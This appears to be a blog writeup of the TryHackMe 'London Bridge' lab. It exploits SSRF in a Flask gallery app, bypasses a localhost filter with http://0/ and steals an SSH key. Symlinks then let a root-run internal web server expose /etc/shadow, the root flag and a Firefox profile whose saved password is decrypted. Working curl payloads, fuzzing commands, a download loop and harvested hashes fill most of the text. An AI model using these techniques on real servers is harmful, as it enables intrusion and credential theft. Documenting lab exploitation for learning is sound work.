DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : The London Bridge writeup

Summary

The London Bridge is built around a Flask "Explore London" gallery app served behind Gunicorn. A hidden /view_image endpoint takes a form-encoded URL and fetches it server-side - classic SSRF - but the visible image_url parameter isn't the one actually wired up in the code; fuzzing form field names is needed to discover the real parameter is www. The app blocks localhost/127.0.0.1/0.0.0.0 by string-matching the URL, which is trivially bypassed using the alternate loopback representation http://0/. That SSRF is then pointed at a root-owned Python http.server bound to 127.0.0.1:80 running from the target's own home directory, which - because it runs as root - happily serves files regardless of normal Unix permissions. Reading .ssh/id_rsa through the SSRF gives a private key, and its authorized_keys comment identifies the right user (beth) to use it with, for direct SSH access. From there, symlink tricks (ln -s /root root_dir_link, ln -s /etc/shadow shadow_link, ln -s /home/charles charles_dir) combined with the same root-run HTTP server + SSRF let us read /etc/shadow, a root-only flag file, and another user's entire Firefox profile - all without ever needing an actual root shell. The Firefox profile is decrypted locally (after working around a binary-corruption issue caused by proxying binary files through Flask's requests.get().text) to recover a saved browser credential.

Attack Chain

nmap -> SSH (22) + Gunicorn "Explore London" app (8080)
   |
/gallery -> image upload form, .php upload blocked by PIL-based image validation
   |
Hidden /view_image endpoint -> visible "image_url" field does nothing; ffuf discovers real param is "www"
   |
Confirmed SSRF: www=http://<ATTACKER_IP>/evil.php -> server fetches attacker URL
   |
is_local() filter blocks literal "localhost"/"127.0.0.1"/"0.0.0.0" strings
   |
Bypass with alternate loopback notation: www=http://0/...
   |
SSRF reaches a root-run "python3 -m http.server 80 --bind 127.0.0.1" serving beth's home dir
   |
Read .ssh/id_rsa + .ssh/authorized_keys (comment: beth@london) via SSRF -> SSH as beth
   |
app.py source confirms the "www" param + is_local() filter -> user.txt flag
   |
ss/ps aux confirms root owns the internal port-80 http.server
   |
Symlink tricks (root_dir_link -> /root, shadow_link -> /etc/shadow, charles_dir -> /home/charles)
   |
SSRF + root-run http.server reads ANY file on disk regardless of Unix perms
   |
Root flag + full /etc/shadow dump + charles' entire Firefox profile, all without a root shell
   |
Firefox profile decrypted locally -> Charles' saved browser credential
Enter fullscreen mode Exit fullscreen mode

Recon

nmap -A -Pn <MACHINE_IP> -o nmap
Enter fullscreen mode Exit fullscreen mode
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
8080/tcp open  http    Gunicorn
|_http-title: Explore London
|_http-server-header: gunicorn
Enter fullscreen mode Exit fullscreen mode
curl http://<MACHINE_IP>:8080/
Enter fullscreen mode Exit fullscreen mode
<title>Explore London</title>
...
<h1>Welcome to Explore London</h1>
<nav>
  <a href="/">Home</a>
  <a href="#">Attractions</a>
  <a href="#">Events</a>
  <a href="/gallery">Gallery</a>
  <a href="/contact">Contact</a>
</nav>
Enter fullscreen mode Exit fullscreen mode
whatweb http://<MACHINE_IP>:8080/
Enter fullscreen mode Exit fullscreen mode
http://<MACHINE_IP>:8080/ [200 OK] HTML5, HTTPServer[gunicorn], Title[Explore London]
Enter fullscreen mode Exit fullscreen mode

The gallery page has an upload form:

curl http://<MACHINE_IP>:8080/gallery
Enter fullscreen mode Exit fullscreen mode
<h1>London Gallery</h1>
<div class="container">
    <img class="image" src="/uploads/www.usnews.jpeg" alt="www.usnews.jpeg">
    <img class="image" src="/uploads/04.jpg" alt="04.jpg">
    <img class="image" src="/uploads/Untitled.png" alt="Untitled.png">
    <img class="image" src="/uploads/images.jpeg" alt="images.jpeg">
    <img class="image" src="/uploads/e3.jpg" alt="e3.jpg">
    <img class="image" src="/uploads/caption.jpg" alt="caption.jpg">
    <img class="image" src="/uploads/Thames.jpg" alt="Thames.jpg">
</div>
<h5>Visited London recently? Contribute to the gallery</h5>
<form method="POST" action="/upload" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
<!--To devs: Make sure that people can also add images using links-->
Enter fullscreen mode Exit fullscreen mode

That HTML comment - "Make sure that people can also add images using links" - is a strong hint that a URL-based image feature exists somewhere, even if it's not linked from this page.

Directory brute-force confirmed the visible routes and turned up two 405-responding endpoints (GET not allowed, meaning they expect POST):

feroxbuster -u http://<MACHINE_IP>:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode
200      GET       54l      125w     1722c http://<MACHINE_IP>:8080/gallery
200      GET       59l      127w     1703c http://<MACHINE_IP>:8080/contact
200      GET       82l      256w     2682c http://<MACHINE_IP>:8080/
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/feedback
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/upload
200      GET      ...       http://<MACHINE_IP>:8080/uploads/images.jpeg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/e3.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/caption.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/04.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/www.usnews.jpeg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/Thames.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/Untitled.png
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/view_image
200      GET       32l       67w      823c http://<MACHINE_IP>:8080/dejaview
Enter fullscreen mode Exit fullscreen mode

/view_image and /upload both need POST. Tried uploading a plain PHP web shell first:

i tried uploading a php but no use
Enter fullscreen mode Exit fullscreen mode

Confirmed why by reading app.py later - uploads are validated with Pillow (Image.open(...).verify()), so anything that isn't a real image gets deleted server-side immediately after upload.

Vulnerability Discovery: SSRF via /view_image (wrong parameter first)

/view_image renders a form with a field named image_url:

<form action="/view_image" method="post">
    <label for="image_url">Enter Image URL:</label><br>
    <input type="text" id="image_url" name="image_url" required><br><br>
    <input type="submit" value="View Image">
</form>
Enter fullscreen mode Exit fullscreen mode

Submitting a URL through the browser form and watching the Network tab (screenshot) showed the POST body actually being sent was image_url: "/uploads/Thames.jpg" - and the response just echoed the field back into the page without fetching anything server-side. The visible field alone doesn't drive any SSRF behavior on its own.

Testing directly with curl against the visible field name also went nowhere useful:

curl http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -F 'www=http://<ATTACKER_IP>/evil.php'
Enter fullscreen mode Exit fullscreen mode
<h1>View Image</h1>
<form action="/view_image" method="post">
    <label for="image_url">Enter Image URL:</label><br>
    ...
</form>
Enter fullscreen mode Exit fullscreen mode

No fetch happened yet - -F sends multipart form data, not application/x-www-form-urlencoded despite the header, so the field was never actually parsed as expected by the server. Fuzzed the parameter name itself against the endpoint to find what it actually expects:

ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=http://<ATTACKER_IP>/evil' -mc all -fs 823
Enter fullscreen mode Exit fullscreen mode
www                     [Status: 200, Size: 335, Words: 84, Lines: 14, Duration: 149ms]
Enter fullscreen mode Exit fullscreen mode

The real parameter is www, not image_url. Confirmed with a listener:

python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://<ATTACKER_IP>/evil.php'
Enter fullscreen mode Exit fullscreen mode
10.48.156.179 - - [10/Aug/2026 23:09:57] code 404, message File not found
10.48.156.179 - - [10/Aug/2026 23:09:57] "GET /evil HTTP/1.1" 404 -
Enter fullscreen mode Exit fullscreen mode

Confirmed: the server-side app fetches whatever URL is placed in www and returns the response body. Full-blown SSRF.

Bypassing the localhost Filter

Direct attempts at internal addresses were blocked:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1/'
Enter fullscreen mode Exit fullscreen mode
(no useful output - blocked/empty)
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1:5000/'
Enter fullscreen mode Exit fullscreen mode
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.</p>
Enter fullscreen mode Exit fullscreen mode

Tried the numeric all-zero loopback notation instead of the literal string 127.0.0.1:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/'
Enter fullscreen mode Exit fullscreen mode
<HTML>
<body bgcolor="gray">
<h1>London brigde</h1>
<img height=400px width=600px src ="static/1.webp"><br>
<font type="monotype corsiva" size=18>London Bridge is falling down<br>
    Falling down, falling down<br>
    London Bridge is falling down<br>
    My fair lady<br>
    ...
</font>
</body>
</HTML>
Enter fullscreen mode Exit fullscreen mode

http://0/ resolves to 0.0.0.0 (loopback) but doesn't contain the literal blocked substrings, so the filter is bypassed and we're now hitting an internal-only web service the app couldn't otherwise reach from outside. This confirmed via the app's own source later (app.py):

def is_local(url):
    if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
        return True
    return False
Enter fullscreen mode Exit fullscreen mode

A pure substring blacklist - 0 (bare) never appears in that list.

Enumerating the Internal Service via SSRF

Fuzzed for files/directories reachable through the SSRF against this internal server:

ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'www=http://0/FUZZ' -fs 823,469
Enter fullscreen mode Exit fullscreen mode
templates               [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 67ms]
uploads                 [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 56ms]
static                  [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 157ms]
.                       [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 73ms]
.cache                  [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local                  [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 135ms]
.ssh                    [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 133ms]
.bashrc                 [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 131ms]
.bash_logout            [Status: 200, Size: 220, Words: 35, Lines: 8, Duration: 59ms]
.bash_history           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 142ms]
Enter fullscreen mode Exit fullscreen mode

This internal server on 0.0.0.0/port 80 is a plain directory listing HTTP server rooted at a user's home directory (templates, static, uploads match the Flask app's own project layout - the internal server is literally serving the app's project root, home-directory style). .ssh shows up as a listable directory:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/'
Enter fullscreen mode Exit fullscreen mode
<title>Directory listing for /.ssh/</title>
<ul>
<li><a href="authorized_keys">authorized_keys</a></li>
<li><a href="id_rsa">id_rsa</a></li>
</ul>
Enter fullscreen mode Exit fullscreen mode

Extracting the SSH Private Key via SSRF

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa'
Enter fullscreen mode Exit fullscreen mode
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAz1yFrg9FAZAI4R37aQWn/ePTk/MKfz2KQ+OE45KErguL34Yj
...
7MDu4QKBgFIomwhD+jmr3Vc2HutYkl3zliSD239sH3k118sTHbedvKH5Q7nw0C+U
a7RMp/cXWZKdyRgFxQ7DQEorzWi5bLAyxXnMg0ghwWdf4nugQmaEG7t+OYUNsf7M
fDLzMA915WcODR6L0mWO0crAMbZQOkg1KlAiwQSQmuUpPqyAfq6x
-----END RSA PRIVATE KEY-----
Enter fullscreen mode Exit fullscreen mode

Saved it and locked down permissions:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa' -s | tee id_rsa
chmod 600 id_rsa
Enter fullscreen mode Exit fullscreen mode

Guessed the wrong user first:

ssh -i id_rsa www@<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
www@<MACHINE_IP>: Permission denied (publickey).
Enter fullscreen mode Exit fullscreen mode

Pulled authorized_keys too, which carries a comment identifying the actual owning user:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/authorized_keys'
Enter fullscreen mode Exit fullscreen mode
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXIWuD0UBkAjhHftpBaf949OT8wp/PYpD44TjkoSuC4vfhiPkpzVUmMNNM1GZz681FmJ4LwTB6VaCnBwoAJrvQp7ar/vNEtYeHbc5TFaJIAA5FN5rWzl66zeCFNaNx841E4CQSDs7dew3CCn3dRQHzBtT4AOlmcUs9QMSsUqhKn53EbivHCqkCnqZqqwTh0hkd0Cr5i3r/Yc4REqsVaI41Cl3pkDxrfbmhZdjxRpES8pO5dyOUvnq3iJZDOxFBsG8H4RODaZrTW78eZbcz1LKug/KlwQ6q8+e4+mpcdm7sHAAszk0eFcI2a37QQ4Fgq96OwMDo15l8mDDrk1Ur7aF beth@london
Enter fullscreen mode Exit fullscreen mode

Comment beth@london gives the right username:

ssh -i id_rsa beth@<MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
beth@london:~$ whoami
beth
beth@london:~$ id
uid=1000(beth) gid=1000(beth) groups=1000(beth)
Enter fullscreen mode Exit fullscreen mode

Post-Exploitation as beth

ls -la
Enter fullscreen mode Exit fullscreen mode
-rw-rw-r--  1 beth beth 3215 Apr 17  2024 app.py
-rw-rw-r--  1 beth beth  328 Apr 17  2024 gunicorn_config.py
-rw-r--r--  1 beth beth 1270 Apr 17  2024 index.html
drwxrwxr-x  6 beth beth 4096 Sep 17  2023 .env
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 static
drwxrwxr-x  2 beth beth 4096 Apr 17  2024 templates
drwxrwxr-x  2 beth beth 4096 Aug 10 19:52 uploads
Enter fullscreen mode Exit fullscreen mode

Full app source confirms the vulnerable routes:

cat app.py
Enter fullscreen mode Exit fullscreen mode
from flask import Flask, render_template, request, send_from_directory, redirect, url_for, abort
import os
from PIL import Image
import requests
from werkzeug.utils import secure_filename
import base64

def is_local(url):
    if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
        return True
    return False

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def is_image(file_path):
    try:
        with Image.open(file_path) as img:
            img.verify()
        return True
    except:
        return False

@app.route('/')
def home():
    return render_template('london.html')

@app.route('/gallery')
def gallery():
    filenames = os.listdir(app.config['UPLOAD_FOLDER'])
    return render_template('index.html', filenames=filenames)

def home():
    url = request.form.get('www', '')
    if is_local(url):
        abort(403)
    if url:
        return requests.get(url).text
    return "We are currently trying to take pictures as a URL too"

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return "No file part"
    file = request.files['file']
    if file.filename == '':
        return "No selected file"
    if file:
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        if is_image(file_path):
            return redirect(url_for('gallery'))
        else:
            os.remove(file_path)
            return "Uploaded file is not an image"
    return "Invalid file"

@app.route('/uploads/<filename>')
def download_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

@app.route('/dejaview')
def view():
    return render_template('view.html')

@app.route('/view_image', methods=['POST'])
def view_image():
    image_url = request.form.get('image_url', '')
    url = request.form.get('www', '')
    if is_local(url):
        abort(403)
    if url:
        return requests.get(url).text
    return render_template('view.html', image_url=image_url)

@app.route('/contact')
def contact():
    return render_template('contact.html')

@app.route('/feedback', methods=['POST'])
def feedback():
    name = request.form.get('name')
    email = request.form.get('email')
    message = request.form.get('message')
    print(f"Received feedback from {name} ({email}): {message}")
    return render_template('feedback_response.html', name=name)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)
Enter fullscreen mode Exit fullscreen mode

Confirms exactly what was reverse-engineered from the outside: image_url is cosmetic, www is the real SSRF sink, and is_local() is a naive substring check.

find / -type f -name 'user.txt' 2>/dev/null
Enter fullscreen mode Exit fullscreen mode
/home/beth/__pycache__/user.txt
Enter fullscreen mode Exit fullscreen mode
cat /home/beth/__pycache__/user.txt
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Confirming the Internal Server Runs as Root

ss -tulnp
Enter fullscreen mode Exit fullscreen mode
tcp   LISTEN 0 128            0.0.0.0:8080         0.0.0.0:*
tcp   LISTEN 0   5          127.0.0.1:80           0.0.0.0:*
tcp   LISTEN 0 128            0.0.0.0:22            0.0.0.0:*
Enter fullscreen mode Exit fullscreen mode
ps aux | grep 80
Enter fullscreen mode Exit fullscreen mode
root         1  0.0  0.4 159468  8808 ?        Ss   19:32   0:01 /sbin/init noprompt
root       447  0.4  0.8  56956 17300 ?        Ss   19:32   0:14 /usr/bin/python3 -m http.server 80 --bind 127.0.0.1
Enter fullscreen mode Exit fullscreen mode

The internal service the SSRF reaches on port 80 is a stock python3 -m http.server running as root, bound only to loopback. Since it's root, it can (and does) serve files regardless of the filesystem's normal Unix read permissions on the directory it's rooted in - and since it's loopback-only, the app's SSRF is the only way to reach it from outside.

ls -la /home/charles/
Enter fullscreen mode Exit fullscreen mode
ls: cannot open directory '/home/charles/': Permission denied
Enter fullscreen mode Exit fullscreen mode

Directly, beth can't read charles's home directory. But the SSRF into the root-run server sidesteps that entirely.

Reading Root-Owned Files Without a Root Shell (Symlink + SSRF)

The root http.server serves whatever directory it was started in (beth's home). Symlinks placed inside that directory get followed and served with root's read access - so instead of trying to escalate to an actual root shell, we can just point the server at whatever we want to read:

ln -s /root/root.txt root_flag_link
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_flag_link'
Enter fullscreen mode Exit fullscreen mode
404 - Nothing matches the given URI.
Enter fullscreen mode Exit fullscreen mode

root.txt at that exact path doesn't exist - checked with a directory symlink instead:

ln -s /root root_dir_link
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/'
Enter fullscreen mode Exit fullscreen mode
<title>Directory listing for /root_dir_link/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".cache/">.cache/</a></li>
<li><a href=".gnupg/">.gnupg/</a></li>
<li><a href=".local/">.local/</a></li>
<li><a href=".profile">.profile</a></li>
<li><a href=".root.txt">.root.txt</a></li>
<li><a href=".selected_editor">.selected_editor</a></li>
<li><a href="__pycache__/">__pycache__/</a></li>
<li><a href="flag.py">flag.py</a></li>
<li><a href="flag.pyc">flag.pyc</a></li>
<li><a href="test.py">test.py</a></li>
</ul>
Enter fullscreen mode Exit fullscreen mode

The flag is hidden as .root.txt (dotfile), not root.txt:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/.root.txt'
Enter fullscreen mode Exit fullscreen mode
-
Enter fullscreen mode Exit fullscreen mode

Root-owned flag recovered with zero privilege escalation on the box itself - purely by abusing the root-run internal HTTP server's willingness to follow a symlink beth was allowed to create.

Used the same trick against /etc/shadow:

ln -s /etc/shadow shadow_link
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/shadow_link'
Enter fullscreen mode Exit fullscreen mode
root:$6$MuyQc/EB$TJ0f4UvSAQ/e8N2ehICim6KRPqsD2RBqQHRtaxluPLxeWazD3PU5RCc35JR62gKK6WvpA9v0r73jswtU4KSLU/:19792:0:99999:7:::
...
beth:$6$A/tivpZQ$Cgshl0A8kvAR08NLdpSeeZwimPLbipJ.KrVuWVOvKu8AT7cl8b1J5.2VvaS0fu8sa74Jd7pdNpqN/gmFLOC6W.:19807:0:99999:7:::
sshd:*:19616:0:99999:7:::
charles:$6$yO4vvijF$RIQZn9g5y5s3cP61AvKHe9ou2miZgmPdzlf.4gWinIEaG4PyBFPm5cgm0OMQF18./TBhs48Q/UmjOCs/ye7dV0:19798:0:99999:7:::
Enter fullscreen mode Exit fullscreen mode

Full /etc/shadow including root, beth, and charles password hashes, read purely through the SSRF + symlink combo.

Pivoting to Charles' Firefox Profile

Same technique against charles's home directory:

ln -s /home/charles charles_dir
Enter fullscreen mode Exit fullscreen mode
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir'
Enter fullscreen mode Exit fullscreen mode
<title>Directory listing for /charles_dir/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bash_logout">.bash_logout</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".mozilla/">.mozilla/</a></li>
<li><a href=".profile">.profile</a></li>
</ul>
Enter fullscreen mode Exit fullscreen mode

Walked into the Firefox profile:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles'
Enter fullscreen mode Exit fullscreen mode
<title>Directory listing for /charles_dir/.mozilla/firefox/8k3bf3zp.charles/</title>
<ul>
<li><a href="cert9.db">cert9.db</a></li>
<li><a href="cookies.sqlite">cookies.sqlite</a></li>
<li><a href="key4.db">key4.db</a></li>
<li><a href="logins-backup.json">logins-backup.json</a></li>
<li><a href="logins.json">logins.json</a></li>
<li><a href="places.sqlite">places.sqlite</a></li>
... (full profile directory listing, dozens of standard Firefox profile files)
</ul>
Enter fullscreen mode Exit fullscreen mode

cert9.db, key4.db, and logins.json are exactly what's needed to decrypt saved browser passwords offline. Pulled the whole profile through the SSRF with a small download loop:

mkdir profile && cd profile
cat > download.sh << 'EOF'
BASE="http://<MACHINE_IP>:8080/view_image"
DIR="http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles"

for f in .parentlock addons.json addonStartup.json.lz4 AlternateServices.txt \
         broadcast-listeners.json cert9.db compatibility.ini containers.json \
         content-prefs.sqlite cookies.sqlite extension-preferences.json \
         extensions.json favicons.sqlite formhistory.sqlite handlers.json \
         key4.db logins-backup.json logins.json permissions.sqlite pkcs11.txt \
         places.sqlite prefs.js protections.sqlite search.json.mozlz4 \
         sessionCheckpoints.json sessionstore.jsonlz4 shield-preference-experiments.json \
         SiteSecurityServiceState.txt storage-sync-v2.sqlite storage-sync-v2.sqlite-shm \
         storage-sync-v2.sqlite-wal storage.sqlite times.json webappsstore.sqlite \
         xulstore.json; do
    echo "Fetching $f..."
    curl -s -X POST "$BASE" \
      -H 'Content-Type: application/x-www-form-urlencoded' \
      -d "www=${DIR}/${f}" -o "$f"
done
Enter fullscreen mode Exit fullscreen mode
bash download.sh
Enter fullscreen mode Exit fullscreen mode
Fetching .parentlock...
Fetching addons.json...
...
Fetching key4.db...
...
Fetching xulstore.json...
Enter fullscreen mode Exit fullscreen mode

Fixing Binary Corruption from the SSRF Proxy

firefox_decrypt failed immediately against the pulled files:

python3 firefox_decrypt/firefox_decrypt.py profile/
Enter fullscreen mode Exit fullscreen mode
WARNING - profile.ini not found in profile/
ERROR - Couldn't initialize NSS, maybe 'profile/' is not a valid profile?
Enter fullscreen mode Exit fullscreen mode
file profile/key4.db profile/cert9.db
xxd profile/key4.db | head -3
Enter fullscreen mode Exit fullscreen mode
profile/key4.db:  SQLite 3.x database, ... page size 57986 ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: e282 ac00 0101 0040 2020 0000 0004 0000  .......@  ......
Enter fullscreen mode Exit fullscreen mode

The header parses as a valid-looking SQLite file, but the field values (page size 57986, oversized page/database counts) are nonsensical for a real Firefox profile - the byte e2 82 ac at offset 0x10 is the UTF-8 encoding of the (Euro sign) character, which is exactly what you get when a raw byte like 0x80 gets misinterpreted as CP1252/Latin-1 and re-encoded as UTF-8. That's the app's own requests.get(url).text doing implicit text decoding on binary data before we ever saw it - every binary file pulled through the SSRF was silently mangled.

Tried reversing the mangling locally:

cat > fix.py << 'EOF'
import sys
def fix_file(path, outpath):
    with open(path, 'rb') as f:
        data = f.read()
    try:
        text = data.decode('utf-8')
        fixed = text.encode('latin-1')
        with open(outpath, 'wb') as out:
            out.write(fixed)
        print(f"{path}: decoded/re-encoded successfully, {len(data)} -> {len(fixed)} bytes")
    except UnicodeDecodeError as e:
        print(f"{path}: FAILED - {e}")
    except UnicodeEncodeError as e:
        print(f"{path}: FAILED on re-encode - {e}")
if __name__ == "__main__":
    fix_file(sys.argv[1], sys.argv[2])
EOF
Enter fullscreen mode Exit fullscreen mode
python3 fix.py key4.db key4_fixed.db
Enter fullscreen mode Exit fullscreen mode
key4.db: FAILED on re-encode - 'latin-1' codec can't encode character '\u20ac' in position 16: ordinal not in range(256)
Enter fullscreen mode Exit fullscreen mode

Tried cp1252 instead of latin-1 (since specifically only exists in cp1252's extended range, not raw latin-1):

python3 fix.py key4.db key4_fixed.db
Enter fullscreen mode Exit fullscreen mode
key4.db: FAILED on re-encode - 'charmap' codec can't encode character '\ufffd' in position 31299: character maps to <undefined>
Enter fullscreen mode Exit fullscreen mode

Still failing - some bytes got replaced with the Unicode replacement character (, U+FFFD) during the original requests.get().text decode, meaning information was permanently lost the moment the SSRF response was decoded as text server-side. No local re-encoding trick can recover bytes that were already thrown away. The fix has to happen before the data crosses that lossy text boundary - i.e., fetch the files locally on the target (where they're still raw bytes) instead of proxying them through the Flask app's .text property.

Since beth has a normal shell, just used wget directly against the same internal root-run server from inside the box (loopback access is unrestricted once you're already local, and wget preserves binary data correctly):

wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/key4.db -O /tmp/key4.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/cert9.db -O /tmp/cert9.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/logins.json -O /tmp/logins.json
Enter fullscreen mode Exit fullscreen mode

Then pulled the now-clean files back to the attacker box over SCP (proper binary transfer, no text decoding involved anywhere):

scp -i id_rsa beth@<MACHINE_IP>:/tmp/key4.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/cert9.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/logins.json .
Enter fullscreen mode Exit fullscreen mode
key4.db                                                                        100%  288KB   1.2MB/s   00:00
cert9.db                                                                       100%  224KB 979.4KB/s   00:00
logins.json                                                                    100%  645     8.5KB/s   00:00
Enter fullscreen mode Exit fullscreen mode
file key4.db cert9.db
xxd key4.db | head -3
Enter fullscreen mode Exit fullscreen mode
key4.db:  SQLite 3.x database, last written using SQLite version 3041002, page size 32768, ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: 8000 0101 0040 2020 0000 0004 0000 0009  .....@  ........
Enter fullscreen mode Exit fullscreen mode

Sane page size, sane header - clean binary this time.

Decrypting the Firefox Profile

mkdir ../profile_clean
cp key4.db cert9.db logins.json ../profile_clean/
python3 ../firefox_decrypt/firefox_decrypt.py ../profile_clean/
Enter fullscreen mode Exit fullscreen mode
WARNING - profile.ini not found in ../profile_clean/
Continuing and assuming '../profile_clean/' is a profile location

Website:   https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'
Enter fullscreen mode Exit fullscreen mode

Charles' saved browser login recovered.

Key Vulnerabilities

# Vulnerability Location Impact
1 Hidden/undocumented SSRF parameter (www) not matching the visible form field (image_url) /view_image Discoverable only via parameter fuzzing; classic "the UI lies about what the backend accepts"
2 Full Server-Side Request Forgery, response body returned verbatim to the client requests.get(url).text in view_image()/home() Arbitrary internal network/file access from an unauthenticated endpoint
3 Substring-based localhost/127.0.0.1/0.0.0.0 blacklist is_local() in app.py Trivially bypassed with alternate loopback notation (http://0/)
4 Root-owned, unauthenticated python3 -m http.server bound to loopback, serving a user's home directory Internal port 80 Combined with the SSRF, becomes an arbitrary-file-read-as-root primitive
5 HTTP directory listing follows symlinks and serves target content with the server process's permissions, not the symlink creator's Same internal server Lets a low-privilege user (beth) read /root, /etc/shadow, and another user's home directory without ever escalating privileges locally
6 requests.get(url).text silently mis-decodes binary responses as text SSRF response handling Corrupts any binary file (SQLite DBs, keys, images) proxied through the endpoint - a real "feature", not a security bug per se, but a serious trap for exploit reliability

Lessons / Takeaways

  • Never trust that a visible form field name matches the backend parameter actually being used. The exposed image_url field was a decoy (or leftover dead code); the real sink (www) had to be found by fuzzing, not by reading the HTML form.
